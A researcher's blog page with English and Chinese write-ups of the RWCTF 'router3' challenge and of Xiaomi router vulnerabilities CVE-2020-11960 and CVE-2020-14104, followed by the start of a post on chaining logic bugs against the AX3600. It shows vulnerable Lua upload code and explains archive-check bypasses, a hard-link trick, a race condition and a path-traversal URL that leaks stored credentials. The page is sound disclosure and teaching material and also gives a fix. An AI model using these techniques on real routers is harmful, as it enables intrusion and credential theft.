localhost - Done with development, it's time to pwn.

ping friends

Mon, 01 Jan 0001 00:00:00 +0000

新添加了友链功能, 有需要的小伙伴可以联系我

ctf-wiki

各种途径认识的师傅

多谢师傅们照顾

我校学弟（和学妹）

苟富贵莫相忘

RWCTF-3rd router3 & CVE-2020-14104 writeup

Sat, 06 Feb 2021 17:40:46 +0800

Writeup for RWCTF-3rd router3 and real writeup for CVE-2020-14104

I made a challenge named router3 for RWCTF-3rd. Team CodeR00t ,Bushwhackers and Sauercloud solved it during the game, congratulations to them!

first blood was taken by CodeR00t

Here I want to share the writeup for router3 and CVE-2020-14104(the related vuln)

Writeup for router3

information of the challenge

In case the readers didn’t participate in RWCTF-3rd, I paste the description below:

router3
Score: 477

web reverse demo


Geez, you can access some internal and experimental API using an awesome bug now! Try to exploit the [router](https://rwctf2021.s3-us-west-1.amazonaws.com/router3-a2dcb2d91d0654c87ffce982a86b8794723e76d6.tar.gz) completely next!

**root password is not set in the above attachments, but set in the demo environment**

And the attachments

rwctf@rwctf:~/Desktop$ tar tvf router3.tar.gz
-rw-r--r-- root/root 268435456 2021-01-08 04:20 openwrt-armvirt-32-root.ext4
-rwxr-xr-x root/root   1880792 2021-01-08 03:51 openwrt-armvirt-32-zImage
-rw-r--r-- root/root      1838 2021-01-09 20:19 readme.md
-rwxr-xr-x root/root       749 2021-01-08 03:54 start.sh
rwctf@rwctf:~/Desktop$ cat start.sh
#!/bin/sh
IMAGE=openwrt-armvirt-32-zImage
LAN=ledetap0
DRIVE=openwrt-armvirt-32-root.ext4
# create tap interface which will be connected to OpenWrt LAN NIC
ip tuntap add mode tap $LAN
ip link set dev $LAN up
# configure interface with static ip to avoid overlapping routes
ip addr add 192.168.1.101/24 dev $LAN
qemu-system-arm \
    -device virtio-net-pci,netdev=lan \
    -netdev tap,id=lan,ifname=$LAN,script=no,downscript=no \
    -device virtio-net-pci,netdev=wan \
    -netdev user,id=wan \
    -drive file=$DRIVE,format=raw,if=virtio -append 'root=/dev/vda rootwait' \
    -M virt -nographic -m 256 -kernel $IMAGE
# cleanup. delete tap interface created earlier
ip addr flush dev $LAN
ip link set dev $LAN down
ip tuntap del mode tap dev $LAN
rwctf@rwctf:~/Desktop$ file openwrt-armvirt-32-*
openwrt-armvirt-32-root.ext4: Linux rev 1.0 ext2 filesystem data (mounted or unclean), UUID=57f8f4bc-abf4-655f-bf67-946fc0f9f25b (extents) (large files)
openwrt-armvirt-32-zImage:    ARM OpenFirmware FORTH Dictionary, Text length: -509607936 bytes, Data length: -509607936 bytes, Text Relocation Table length: -369098749 bytes, Data Relocation Table length: 24061976 bytes, Entry Point: 0x00000000, BSS length: 1880792 bytes

Players are provided with a qemu-launched mips-system based on openwrt. According to readme.md(a long document which describes some details for demo-show), the players are asked to achieve RCE or arbitrary-file-write, which could be leveraged to RCE too.

Summarize above information:

What kind of challenge it is?
- web & reverse
What we have?
- a mips-system
What we are supposed to do?
- full RCE

**So where the vuln should be? **

Launching this mips-system using start.sh(must be root), from the result of netstat and ps, it’s clear that the only process related to web is nginx.

root@OpenWrt:/# netstat -antpl
netstat: showing only processes with your user ID
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      935/nginx.conf -g d
......
root@OpenWrt:/# ps
  PID USER       VSZ STAT COMMAND
......
  935 root      2404 S    nginx: master process /usr/sbin/nginx -c /etc/nginx/
  958 root      2452 S    nginx: worker process
......

More specifically, it used luci.

root@OpenWrt:~# ls /www/
cgi-bin      index.html   luci-static
root@OpenWrt:~# ls /www/cgi-bin/
cgi-backup    cgi-download  cgi-exec      cgi-upload    luci

Basically, luci = lua + uci. In short, luci uses the Lua programming language and is based on some MVC-Webframework.

So users can interact with controller. Let’s focus on the controller code, which is located in /usr/lib/lua/luci/controller

root@OpenWrt:~# ls /usr/lib/lua/luci/controller/ -R
/usr/lib/lua/luci/controller/:
admin         api           firewall.lua  opkg.lua

/usr/lib/lua/luci/controller/admin:
index.lua    network.lua  uci.lua

/usr/lib/lua/luci/controller/api:
index.lua   system.lua

Compared with standard openwrt system, clearly there is an extra file /usr/lib/lua/luci/controller/api/system.lua here. Probably it is the code that players should focus on.

So, let’s take a look. But wait! Why it’s an ELF file?

rwctf@rwctf:~/Desktop$ file system.lua
system.lua: ELF 32-bit invalid byte order (SYSV)
rwctf@rwctf:~/Desktop$ hexdump -C -n 20 ./system.lua
00000000  7f 45 4c 46 01 00 00 00  00 00 00 00 00 00 00 05  |.ELF............|
00000010  02 00 03 00                                       |....|
00000014
rwctf@rwctf:~/Desktop$ chmod +x system.lua ; ./system.lua
Hello world

Should we fire up IDA pro or some other decompilers? Of course not, we have known that luci heavily depends on lua. if we have checked lua version in the mips-system, we’ll immediately realize that the lua binary is modified so the magic ELF header doesn’t mean it’s a real ELF file.

And that’s why there is a tag reverse for the challenge. Players must do some reverse work and write a decompiler before auditing the lua code. I won’t show you how to write a decompiler step by step because there have been lots of resources. But I can provide some good references1 2(only in Chinese, sorry) and the diff file.

Next, let’s take a break from the challenge and have a glance at CVE-2020-11960

brief introduction to CVE-2020-11960

CVE-2020-11960, which I had presented on HITCON 2020, mainly leveraged files left in /tmp when the uploading procedure failed, to achieve RCE.

You can check more details from page 33~55 of the slides and I will briefly introduce how I exploited this vuln here, too.

The exploit can be concluded into the following steps:

Due to some trival flaws, we can upload two files /tmp/hack_des.sh & /tmp/dnsmasq.d/mbu.conf, where hack_des.sh is a shell script containing arbitrary command and mbu.conf is a configuration file for dnsmasq with assigning /tmp/hack_des.sh as its dhcp-script
restarting dnsmasq to load mbu.conf
transfer some file via tftp and then hack_des.sh shall run

The most foremost step is to be able to upload almost arbitrary files to /tmp, upon which we can construct the configuration file of dnsmasq to achieve RCE.

Writeup from players

Back to the challenge, there are not many interfaces in system.lua. The target should be obvious. I paste the related source code of /api/system/c_upload as follows:

-- /usr/lib/lua/luci/controller/api/system.lua
	entry({"api", "system", "c_upload"},              call("cUpload"), (""), 153, 0x09)							<<--- a

function cUpload()
......
    local uploadFilepath = "/tmp/cfgbackup.tar.gz"
......
        local ext = XQBackup.extract(uploadFilepath)
......
end

-- /usr/lib/lua/xiaoqiang/module/XQBackup.lua
local TMPDIR     = "bkcfg_tmp"

function extract(filepath)
    local fs = require("nixio.fs")
    local tarpath = filepath
    if not tarpath then
        tarpath = TARMBUFILE
    end
    if not fs.access(tarpath) then
        return 1
    end

    if os.execute("tar -tzvf "..tarpath.." | grep ^l >/dev/null 2>&1") == 0 then								<<--- b
        os.execute("rm -rf "..tarpath)
        return 2
    end

    if os.execute("tar -tzvf "..tarpath.." | grep -v .des | grep -v .mbu >/dev/null 2>&1") == 0 then			<<--- c
        os.execute("rm -rf "..tarpath)
        return 22
    end

    os.execute("cd /tmp; mkdir "..TMPDIR.."; cd "..TMPDIR.."; tar -xzf "..tarpath.." >/dev/null 2>/dev/null")	<<--- d
    os.execute("rm "..tarpath.." >/dev/null 2>/dev/null")
    if not fs.access("/tmp/"..TMPDIR.."/cfg_backup.des") then													<<--- e.1
        os.execute("rm -rf /tmp/"..TMPDIR)
        return 2
    end
    if not fs.access("/tmp/"..TMPDIR.."/cfg_backup.mbu") then													<<--- e.2
        os.execute("rm -rf /tmp/"..TMPDIR)
        return 3
    end
    os.execute("mv /tmp/"..TMPDIR.."/* /tmp; rm -rf /tmp/"..TMPDIR)												<<--- f
    return 0
end

This is a piece of easy-to-understand code snippet, with the following key points:

(a). The 4th parameter, order, has a value of 9, which means the interface /api/system/c_upload doesn’t need authorization, just like the challenge description shows: you can access some internal and experimental API using an awesome bug now!
(b). check if there is a soft(symbolic) link file in the uploaded .tar.gz archive
(c). check if the files are having their filename ends with .des or .mbu
(d). create a new directory TMPDIR(bkcfg_tmp), and do the extraction step in the new directory
(e). check if /tmp/bkcfg_tmp/cfg_backup.des & /tmp/bkcfg_tmp/cfg_backup.mbu are released
(f). move files from /tmp/bkcfg_tmp/ to /tmp then remove /tmp/bkcfg_tmp

Part (c) is copied from CVE-2020-11960. The check here only checks whether the filename contains mbu or des, rather than ends with .mbu or .des. You can also check 实战逻辑漏洞：三个漏洞搞定一台路由器 for the details and again, only in Chinese.

Compared with CVE-2020-11960, the extraction is in /tmp/bkcfg_tmp. Files won’t be released to /tmp.

Let’s reflect more on part (e) & (f), if we upload an archive, in which there are two files named exactly as cfg_backup.des and cfg_backup.mbu, the (e) part check will pass and files will be moved from /tmp/bkcfg_tmp to /tmp at part (f). And then the rest exploitation is as same as CVE-2020-11960. The following image is the exploit file from Bushwhackers .

And Sauercloud used similar method.

As you may have known, this is not the intended solution because I made some mistakes. But I still want to praise these teams for they solving this challenge in such a short time!

The unintended solution in the unintended solutions

When hosting a CTF game, we’re always willing to see unintended solutions, especially which we can learn from.

So team CodeR00t totally didn’t use the dnsmasq thing. They chose a different way as the following image shows:

They used hard link, which begins with h instead of l in the result of tar -tzvf, to bypass the check of (b) to achieve arbitrary-file-write in /tmp(not almost-arbitrary, literally arbitrary). Then load the content of iperf_script_pid into shell command via some other interface.

busybox simplified most commands. From the result of tar -tzvf from busybox, we can’t even see hardlink file begins with h

This trick can also be used for CVE-2020-11960. Good for you, CodeR00t!

Writeup for CVE-2020-14104

Next, I will introduce the intended solution, AKA, CVE-2020-14104, and how I made mistakes.

CVE-2020-14104 actually is a partially incomplete fix for CVE-2020-11960, where partially means it is not an RCE-able vuln now, but there is some flaw in the checks, which can be used to do other damage like LPE. To make this challenge, I modified the logic of c_upload by simply copying code from both old and new firmware without more thinking about it. More accurately, I copied code of the extraction but not the checks.

The following code is the new version code with checks(to make CVE-2020-14104 RCE-able, it’s not the same as xiaomi’s)

local TMPDIR     = "bkcfg_tmp"
function extract(filepath)
    local fs = require("nixio.fs")
    local tarpath = filepath
    if not tarpath then
        tarpath = TARMBUFILE
    end
    if not fs.access(tarpath) then
        return 1
    end

    if os.execute("tar -tzvf "..tarpath.." | grep ^l >/dev/null 2>&1") == 0 then								<<--- b
        os.execute("rm -rf "..tarpath)
        return 2
    end

    if os.execute("tar -tzvf "..tarpath.." | grep -v .des | grep -v .mbu >/dev/null 2>&1") == 0 then			<<--- c
        os.execute("rm -rf "..tarpath)
        return 22
    end
    
    ----------------------------------------------------------													<<--- x
    local wcl = io.popen("tar -tzvf "..tarpath.." | wc -l")
    if tonumber(wcl:read("*a")) ~= 2 then
        os.execute("rm -rf "..tarpath)
        wcl:close()
    	return 3
    end   
    wcl:close()
    ----------------------------------------------------------

    os.execute("cd /tmp; mkdir "..TMPDIR.."; cd "..TMPDIR.."; tar -xzf "..tarpath.." >/dev/null 2>/dev/null")	<<--- d
    os.execute("rm "..tarpath.." >/dev/null 2>/dev/null")
    if not fs.access("/tmp/"..TMPDIR.."/cfg_backup.des") then													<<--- e.1
        os.execute("rm -rf /tmp/"..TMPDIR)
        return 2
    end
    if not fs.access("/tmp/"..TMPDIR.."/cfg_backup.mbu") then													<<--- e.2
        os.execute("rm -rf /tmp/"..TMPDIR)
        return 3
    end
    os.execute("mv /tmp/"..TMPDIR.."/* /tmp; rm -rf /tmp/"..TMPDIR)												<<--- f
    return 0
end

The x part code snippet checks whether there are only 2 files in the archive, which should kick the unintended solution out(I hope so).

I will give you a minute to try to pwn this new version challenge.

OK, let’s continue. When we upload a normal archive(all checks passed), the above steps can be presented as follow:

But when some checks failed(for example, there is no cfg_backup.des), there will be an extra rm operation:

See the problem? If we have two threads T1 and T2, T2’s rm -rf /tmp/bkcfg_tmp happens right before T1’s cd bkcfg_tmp, the cd operation of T1 will fail and the actual extraction will be in directory /tmp/ again

So it’s a race-condition bug in the file system. That’s why I give teams huge number of times to try for demo(5 minutes * 2 attempts * 5 times).

Plus, for this vuln, too many concurrent requests will have lower success rate because every upload request will do mkdir operation at first and change the existence of the directory /tmp/bkcfg_tmp.

And here is my demo-show screenshot!

See you in RWCTF 4th!

For those who are curious about how to fix this vuln. Using the -C parameter of tar should be good.
   -C, --directory=DIR
          Change to DIR before performing any operations.   This  option  is  order-sensitive,  i.e.  it
          affects all options that follow.

Conclusion

COVID-19 sucks. We could have had a more wonderful on-site final
don’t copy & paste code without fully understanding it
learning historical vulns is helpful to find new vulns

Here I want to thank MiSRC for allowing me to make this challenge upon their vuln. I always hold the opinion that security is the attitude. We have seen many cases that some vendors try to refuse or cover their vulnerabilities deliberately. Vendors shouldn’t be afraid of people talking about their vulnerabilities. This only makes their products more secure. MiSRC just set an amazing example for these vendors using an open and positive attitude.

Reference

[1]. https://github.com/feicong/lua_re

[2]. https://bbs.pediy.com/thread-216969.htm

RWCTF-3rd router3 & CVE-2020-14104 writeup

在第三届RWCTF[1]中，我出了一道名为router3[2]的题目，考察了选手的逆向能力和漏洞挖掘能力。恭喜CodeR00t[3]，Bushwhackers[4]和Sauercloud[5]在比赛中解出了这道题目。

CodeR00t拿到一血

接下来我会分享router3和相关漏洞CVE-2020-14104的writeup

Writeup for router3

题目信息

router3的题目信息如下：

router3
Score: 477

web reverse demo


Geez, you can access some internal and experimental API using an awesome bug now! Try to exploit the [router](https://rwctf2021.s3-us-west-1.amazonaws.com/router3-a2dcb2d91d0654c87ffce982a86b8794723e76d6.tar.gz) completely next!

**root password is not set in the above attachments, but set in the demo environment**

附件信息如下：

rwctf@rwctf:~/Desktop$ tar tvf router3.tar.gz
-rw-r--r-- root/root 268435456 2021-01-08 04:20 openwrt-armvirt-32-root.ext4
-rwxr-xr-x root/root   1880792 2021-01-08 03:51 openwrt-armvirt-32-zImage
-rw-r--r-- root/root      1838 2021-01-09 20:19 readme.md
-rwxr-xr-x root/root       749 2021-01-08 03:54 start.sh
rwctf@rwctf:~/Desktop$ cat start.sh
#!/bin/sh
IMAGE=openwrt-armvirt-32-zImage
LAN=ledetap0
DRIVE=openwrt-armvirt-32-root.ext4
# create tap interface which will be connected to OpenWrt LAN NIC
ip tuntap add mode tap $LAN
ip link set dev $LAN up
# configure interface with static ip to avoid overlapping routes
ip addr add 192.168.1.101/24 dev $LAN
qemu-system-arm \
    -device virtio-net-pci,netdev=lan \
    -netdev tap,id=lan,ifname=$LAN,script=no,downscript=no \
    -device virtio-net-pci,netdev=wan \
    -netdev user,id=wan \
    -drive file=$DRIVE,format=raw,if=virtio -append 'root=/dev/vda rootwait' \
    -M virt -nographic -m 256 -kernel $IMAGE
# cleanup. delete tap interface created earlier
ip addr flush dev $LAN
ip link set dev $LAN down
ip tuntap del mode tap dev $LAN
rwctf@rwctf:~/Desktop$ file openwrt-armvirt-32-*
openwrt-armvirt-32-root.ext4: Linux rev 1.0 ext2 filesystem data (mounted or unclean), UUID=57f8f4bc-abf4-655f-bf67-946fc0f9f25b (extents) (large files)
openwrt-armvirt-32-zImage:    ARM OpenFirmware FORTH Dictionary, Text length: -509607936 bytes, Data length: -509607936 bytes, Text Relocation Table length: -369098749 bytes, Data Relocation Table length: 24061976 bytes, Entry Point: 0x00000000, BSS length: 1880792 bytes

提供给了选手一个通过qemu启动，基于openwrt[6]的mips虚拟机。在readme.md中描述了选手的目标是更改/www/index.html，也就是需要实现任意文件写或者RCE

总结以上信息：

题目类型？
- web & reverse
提供给选手的附件
- 一个mips虚拟机
选手需要达成的目标
- RCE（任意文件写最终可以转化为RCE）

分析题目

题目的标签是web和reverse。使用start.sh启动虚拟机后，通过netstat和ps的结果可以看出唯一和web有关的进程是nginx[7]

root@OpenWrt:/# netstat -antpl
netstat: showing only processes with your user ID
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      935/nginx.conf -g d
......
root@OpenWrt:/# ps
  PID USER       VSZ STAT COMMAND
......
  935 root      2404 S    nginx: master process /usr/sbin/nginx -c /etc/nginx/
  958 root      2452 S    nginx: worker process
.....

并且虚拟机中启用了luci[8]，

root@OpenWrt:~# ls /www/
cgi-bin      index.html   luci-static
root@OpenWrt:~# ls /www/cgi-bin/
cgi-backup    cgi-download  cgi-exec      cgi-upload    luci

luci = lua[9] + uci[10]

简单来说，luci是一种MVC[11]框架，主要使用了Lua语言实现后端（更多的细节请参考官方文档）

在MVC框架中，用户可以直接交互的是controller，对应到题目也就是/usr/lib/lua/luci/controller部分的代码

root@OpenWrt:~# ls /usr/lib/lua/luci/controller/ -R
/usr/lib/lua/luci/controller/:
admin         api           firewall.lua  opkg.lua

/usr/lib/lua/luci/controller/admin:
index.lua    network.lua  uci.lua

/usr/lib/lua/luci/controller/api:
index.lua   system.lua

与标准的openwrt系统相比较，可以发现题目环境中多了/usr/lib/lua/luci/controller/api/system.lua。那么很明显这也就是选手应该关注的代码了。

从文件系统中拿到system.lua后可以发现这是一个ELF文件，~~因此启动IDA pro开始逆向~~

rwctf@rwctf:~/Desktop$ file system.lua
system.lua: ELF 32-bit invalid byte order (SYSV)
rwctf@rwctf:~/Desktop$ hexdump -C -n 20 ./system.lua
00000000  7f 45 4c 46 01 00 00 00  00 00 00 00 00 00 00 05  |.ELF............|
00000010  02 00 03 00                                       |....|
00000014
rwctf@rwctf:~/Desktop$ chmod +x system.lua ; ./system.lua
Hello world

之前已经说过luci的后端多是由lua实现的，如果我们在虚拟机中查看lua版本的话，立刻就可以发现虚拟机中使用了一个更改过的lua binary

这里也就是题目标签reverse所设立的考点了。选手在审计lua代码挖掘漏洞之前，必须先做一些逆向工作找到lua被改了哪些部分并写出反编译器。网上已经有很多详细的教程，我在这里就不再赘述如何一步一步逆向并写反编译器了。在文末有一些参考链接[11] [12]和题目中应用的diff文件[13]。

CVE-2020-11960[14]

在更进一步分析题目之前，我们先看一下另一个相关的漏洞CVE-2020-11960。我在去年的HITCON会议上展示过该漏洞的挖掘和利用过程（slides[15]的33~55页）。这里简要叙述一下如何利用该漏洞：

通过上传文件时文件名检测的不严格上传两个文件/tmp/hack_des.sh和/tmp/dnsmasq.d/mbu.conf，其中hack_des.sh是一个包含了任意命令的shell脚本，mbu.conf是dnsmasq[16]的配置文件
通过某种方式重启dnsmasq，加载mbu.conf
通过tftp传输文件，触发mbu.conf中指定的hack_des.sh

其中后两步是具体的利用，漏洞主要发生在第一步，攻击者首先需要能够在/tmp目录下上传包含特殊内容且文件名符合要求的文件。

选手writeup

回到题目上。为了节省选手的时间，我删除了大量system.lua中的代码，只保留了少部分接口。观察如下/api/system/c_upload接口的相关代码

-- /usr/lib/lua/luci/controller/api/system.lua
	entry({"api", "system", "c_upload"},              call("cUpload"), (""), 153, 0x09)							<<--- a

function cUpload()
......
    local uploadFilepath = "/tmp/cfgbackup.tar.gz"
......
        local ext = XQBackup.extract(uploadFilepath)
......
end

-- /usr/lib/lua/xiaoqiang/module/XQBackup.lua
local TMPDIR     = "bkcfg_tmp"

function extract(filepath)
    local fs = require("nixio.fs")
    local tarpath = filepath
    if not tarpath then
        tarpath = TARMBUFILE
    end
    if not fs.access(tarpath) then
        return 1
    end

    if os.execute("tar -tzvf "..tarpath.." | grep ^l >/dev/null 2>&1") == 0 then								<<--- b
        os.execute("rm -rf "..tarpath)
        return 2
    end

    if os.execute("tar -tzvf "..tarpath.." | grep -v .des | grep -v .mbu >/dev/null 2>&1") == 0 then			<<--- c
        os.execute("rm -rf "..tarpath)
        return 22
    end

    os.execute("cd /tmp; mkdir "..TMPDIR.."; cd "..TMPDIR.."; tar -xzf "..tarpath.." >/dev/null 2>/dev/null")	<<--- d
    os.execute("rm "..tarpath.." >/dev/null 2>/dev/null")
    if not fs.access("/tmp/"..TMPDIR.."/cfg_backup.des") then													<<--- e.1
        os.execute("rm -rf /tmp/"..TMPDIR)
        return 2
    end
    if not fs.access("/tmp/"..TMPDIR.."/cfg_backup.mbu") then													<<--- e.2
        os.execute("rm -rf /tmp/"..TMPDIR)
        return 3
    end
    os.execute("mv /tmp/"..TMPDIR.."/* /tmp; rm -rf /tmp/"..TMPDIR)												<<--- f
    return 0
end

有以下关键点：

(a). /api/system/c_upload的第四个参数(order[16])是9，即该接口无需认证即可访问（在题目描述中也暗示了这一点：you can access some internal and experimental API using an awesome bug now）

(b). 检查上传的.tar.gz压缩包中是否有软链接文件

(c). 检查压缩包中文件的文件名是否以.des或者.mbu结尾

(d). 创建一个新的文件夹/tmp/bkcfg_tmp，并在新文件夹下完成解压的步骤

(e). 检查/tmp/bkcfg_tmp/cfg_backup.des和/tmp/bkcfg_tmp/cfg_backup.mbu是否被释放

(f). 拷贝/tmp/bkcfg_tmp下的文件到/tmp/，然后删除/tmp/bkcfg_tmp

其中**(c)**部分的代码包含与CVE-2020-11960一样的缺陷，只检查了文件名中是否包含des和mbu字符串而非检查是否以.des或.mbu结尾，关于这一点，也可以参考实战逻辑漏洞：三个漏洞搞定一台路由器。

和CVE-2020-11960相比，文件的解压都在/tmp/bkcfg_tmp下完成，看起来CVE-2020-11960的利用手法在这里不适用。但仔细检查**(e)**和**(f)**部分的代码，如果我们上传一个压缩包，压缩包中刚好有两个文件名为cfg_backup.mbu和cfg_backup.des的文件，**(e)**处的检查就会通过，进而在**(f)**处，/tmp/bkcfg_tmp下的文件又被重新拷贝回/tmp。通过构造特殊的压缩包，我们就可以再次获得在/tmp目录下上传特殊文件的能力，接下来的利用也就和CVE-2020-11960一样了。而比赛中Bushwhackers和Sauercloud正是使用了这样的方法。

Bushwhackers的exploit

Sauercloud的黑页

这种解法并不是预期解，出题的过程中我犯了一些错误导致所有的队伍都使用了非预期解法。但解出题目的队伍在短短48h就写出了反编译器并找到了漏洞，证明了他们身为世界顶级战队的实力。

非预期中的非预期

在举办CTF比赛时，我们很乐意看到非预期解，尤其是能让我们学到东西的非预期解法。在比赛中，CodeR00t虽然也使用了同一个bug，但他们完全没有使用dnsmasq相关的利用手法，而是找到了一种新的利用思路。

上图是CodeR00t的exploit，他们使用了硬链接[17]来绕过**(b)**处的检查，在tar -tzvf的结果中，硬链接以h开头，而**(b)**处只检查了是否以l开头。**(b)**处的检查绕过后，利用硬链接的特性，攻击者可以实现**完整的任意写文件**。

busybox精简了大量的命令，在虚拟机中使用tar -tzvf时甚至看不到硬链接以h开头

这种利用方法也能用到CVE-2020-11960上:P

Writeup for CVE-2020-14104

接下来我会介绍题目的预期解法以及我如何犯了一个错误导致了非预期解的产生。

router3实际上重现了一遍CVE-2020-14104，CVE-2020-14104是一个CVE-2020-11960的部分不完整修复。部分的意思是该修复方法使得该处不能RCE，但在检查过程中的疏忽导致该漏洞仍然可以造成诸如LPE之类的危害。为了让题目可RCE，我修改了（ctrl^c+ctrl^v）小米代码的部分逻辑，但只拷贝了旧版固件的解压部分代码，而没有拷贝新版固件中的检查部分代码。

下边是带有检查的/api/system/c_upload接口代码（与小米原生的逻辑不同）

local TMPDIR     = "bkcfg_tmp"
function extract(filepath)
    local fs = require("nixio.fs")
    local tarpath = filepath
    if not tarpath then
        tarpath = TARMBUFILE
    end
    if not fs.access(tarpath) then
        return 1
    end

    if os.execute("tar -tzvf "..tarpath.." | grep ^l >/dev/null 2>&1") == 0 then								<<--- b
        os.execute("rm -rf "..tarpath)
        return 2
    end

    if os.execute("tar -tzvf "..tarpath.." | grep -v .des | grep -v .mbu >/dev/null 2>&1") == 0 then			<<--- c
        os.execute("rm -rf "..tarpath)
        return 22
    end
    
    ----------------------------------------------------------													<<--- x
    local wcl = io.popen("tar -tzvf "..tarpath.." | wc -l")
    if tonumber(wcl:read("*a")) ~= 2 then
        os.execute("rm -rf "..tarpath)
        wcl:close()
    	return 3
    end   
    wcl:close()
    ----------------------------------------------------------

    os.execute("cd /tmp; mkdir "..TMPDIR.."; cd "..TMPDIR.."; tar -xzf "..tarpath.." >/dev/null 2>/dev/null")	<<--- d
    os.execute("rm "..tarpath.." >/dev/null 2>/dev/null")
    if not fs.access("/tmp/"..TMPDIR.."/cfg_backup.des") then													<<--- e.1
        os.execute("rm -rf /tmp/"..TMPDIR)
        return 2
    end
    if not fs.access("/tmp/"..TMPDIR.."/cfg_backup.mbu") then													<<--- e.2
        os.execute("rm -rf /tmp/"..TMPDIR)
        return 3
    end
    os.execute("mv /tmp/"..TMPDIR.."/* /tmp; rm -rf /tmp/"..TMPDIR)												<<--- f
    return 0
end

**(x)**部分的代码检查了上传的压缩包中是否只有两个文件，理论上应该会缓解上一节介绍的非预期解。

有了以上的基础，我在这里暂停一下看读者能否发现新版代码中的漏洞。

继续分析，当用户上传一个正常的压缩包时，对该压缩包的处理逻辑可以用下图来表示

但如果某些检查没有通过(比如压缩包中没有cfg_backup.des)，就会额外有一步rm的操作

而多出的这一步rm也就是关键点。让我们思考这样一种情况：当虚拟机同时处理多个请求时，若一个请求中的rm -rf /tmp/bkcfg_tmp刚好发生在另一个请求的cd bkcfg_tmp之前时，因为/tmp/bkcfg_tmp已经不存在了，因此cd会失败，当前请求的CWD仍然是/tmp，整个流程可以用下图来表示

因此通过文件系统中的条件竞争，攻击者再一次获得了在/tmp目录下上传特定文件的能力，接下来的利用就可以参考上文介绍的方法了。比赛中为了我给了选手大量的试错机会赢得竞争（5分钟*2次机会*5次尝试），但因为所有的队伍都用了非预期解，所以他们都在20秒内就实现了RCE.

下图是我的demo截图：

修复该漏洞可以使用tar的-C参数

   -C, --directory=DIR
          Change to DIR before performing any operations.   This  option  is  order-sensitive,  i.e.  it
          affects all options that follow.

总结

因为疫情，本届RWCTF没有决赛，期待明年春暖花开后在第4届RWCTF决赛现场看到各位师傅
在完全理解代码含义之前，不要盲目的复制&粘贴代码
学习历史漏洞可以帮助我们发现新的漏洞

这里我想要感谢MiSRC[18]允许我使用他们的漏洞出题。我一直认为评判产品是否安全需要看厂商对待漏洞的态度。历史上我们也看到过某些厂商故意忽略或者掩盖他们漏洞的例子。厂商不应该担心安全从业者讨论他们的漏洞，这只会让他们的产品更安全，在这一点上MiSRC做出了一个很积极开放的榜样。

Reference

[1]. https://ctftime.org/event/1198

[2]. https://github.com/chaitin/Real-World-CTF-3rd-Challenge-Attachments/tree/main/router3

[3]. https://ctftime.org/team/143448

[4]. https://blog.bushwhackers.ru/

[5]. https://twitter.com/Sauercl0ud

[6]. http://openwrt.org/

[7]. https://openwrt.org/docs/guide-user/services/webserver/nginx

[8]. https://openwrt.org/docs/techref/luci

[9]. http://www.lua.org/

[10]. https://openwrt.org/docs/techref/uci

[11]. https://github.com/feicong/lua_re

[12]. https://bbs.pediy.com/thread-216969.htm

[13]. https://github.com/chaitin/Real-World-CTF-3rd-Challenge-Attachments/tree/main/router3/files/310-rwctf-router3.patch

[14]. https://privacy.mi.com/trust#/security/vulnerability-management/vulnerability-announcement/detail?id=15&locale=en

[15]. https://hitcon.org/2020/slides/Exploit%20(Almost)%20All%20Xiaomi%20Routers%20Using%20Logical%20Bugs.pdf

[16]. https://github.com/openwrt/luci/wiki/ModulesHowTo#show-me-the-way-the-dispatching-process

[17]. https://en.wikipedia.org/wiki/Hard_link

[18]. https://sec.xiaomi.com/

Exploiting AX3600 Using Logical Bugs

Sun, 20 Sep 2020 11:01:14 +0800

实战逻辑漏洞：三个漏洞搞定一台路由器（二）

距离实战栈溢出：三个漏洞搞定一台路由器的发表已有三年。三年来，市面上智能设备的安全性有了肉眼可见的发展，部分领头企业的智能设备在完善的缓解措施保护下已经较难通过内存漏洞完成一整套利用。

随着内存漏洞利用难度的增大，更加稳定的逻辑漏洞的优势就凸显了出来。本文中，笔者将分享如何通过多个逻辑漏洞，完成对小米AIoT路由器 AX3600（后文简称 AX3600）的 LAN 口 RCE。本文中对部分专业名词不会做太多详细的解释，需要读者有一定的安全基础。

获取固件

在 miwifi 官网可以下载到所有小米路由器的固件，本文中分析的固件版本为

1
2

小米AIoT路由器AX3600 稳定版
版本1.0.20（2020年3月10日更新）

一串漏洞来袭

漏洞一：有限的路径穿越漏洞

从官网下载并解出固件后，通过浏览 AX3600 各种服务的配置文件，很快找到了第一个由于 nginx 误配置导致的路径穿越漏洞

如上图所示，当用户使用过配置备份功能后，攻击者访问 http://AX3600-ip/backup/log../test 时，由于 alias 的作用，实际访问的文件为 /tmp/syslogbackup/../test 也即是 /tmp/test，攻击者可以通过实现从 /tmp/syslogbackup 穿越至 /tmp 目录，读取 /tmp 任意文件。

经过观察，在 /tmp/messages 文件中保留了较多的敏感信息

攻击者可以通过访问 http://AX3600-ip/backup/log../messages 读取 /tmp/messages 中的内容，获取明文的 wifi 密码，PPPoE 账号和密码，vpn 用户名和密码，stok 等信息。

其中，使用泄露的 stok 可以在一定时间内登录到后台，实现后台登录绕过。

这个漏洞的CVE编号是 CVE-2020-11959

漏洞二：后台解压逻辑错误

AX3600 后台存在上传路由器配置文件的功能，用户可以通过上传包含配置文件的 .tar.gz 压缩包来恢复路由器设置

上传后的文件在路由器的 /tmp 目录下被解压，只有合法的文件会被继续处理，不合法的文件报错不再处理，相关的 lua 代码经过整理后如下。

function extract()
  require "nixio.fs"
  L2_30 = "/tmp/cfgbackup.tar.gz"
  if not nixio.fs.access(L2_30) then
    return 1
  end
  if os.execute("tar -tzvf " .. L2_30 .. " | grep ^l >/dev/null 2>&1") == 0 then
    os.execute("rm -rf " .. L2_30)
    return 2
  end
  if os.execute("tar -tzvf " .. L2_30 .. " |grep -v .des|grep -v .mbu >/dev/null 2>&1") == 0 then
    os.execute("rm -rf " .. L2_30)
    return 22
  end
  os.execute("cd /tmp; tar -xzf " .. L2_30 .. " >/dev/null 2>&1")
  os.execute("rm " .. L2_30 .. " >/dev/null 2>&1")
  if not nixio.fs.access(_UPVALUE1_) then
    return 2
  end
  if not nixio.fs.access(_UPVALUE2_) then
    return 3
  end
  return 0
end

分析上边的代码，发现检查文件是否合法的部分流程为：使用 tar -tzvf 列出压缩包中的内容，然后使用 grep 检查压缩包内的文件，检查分两步

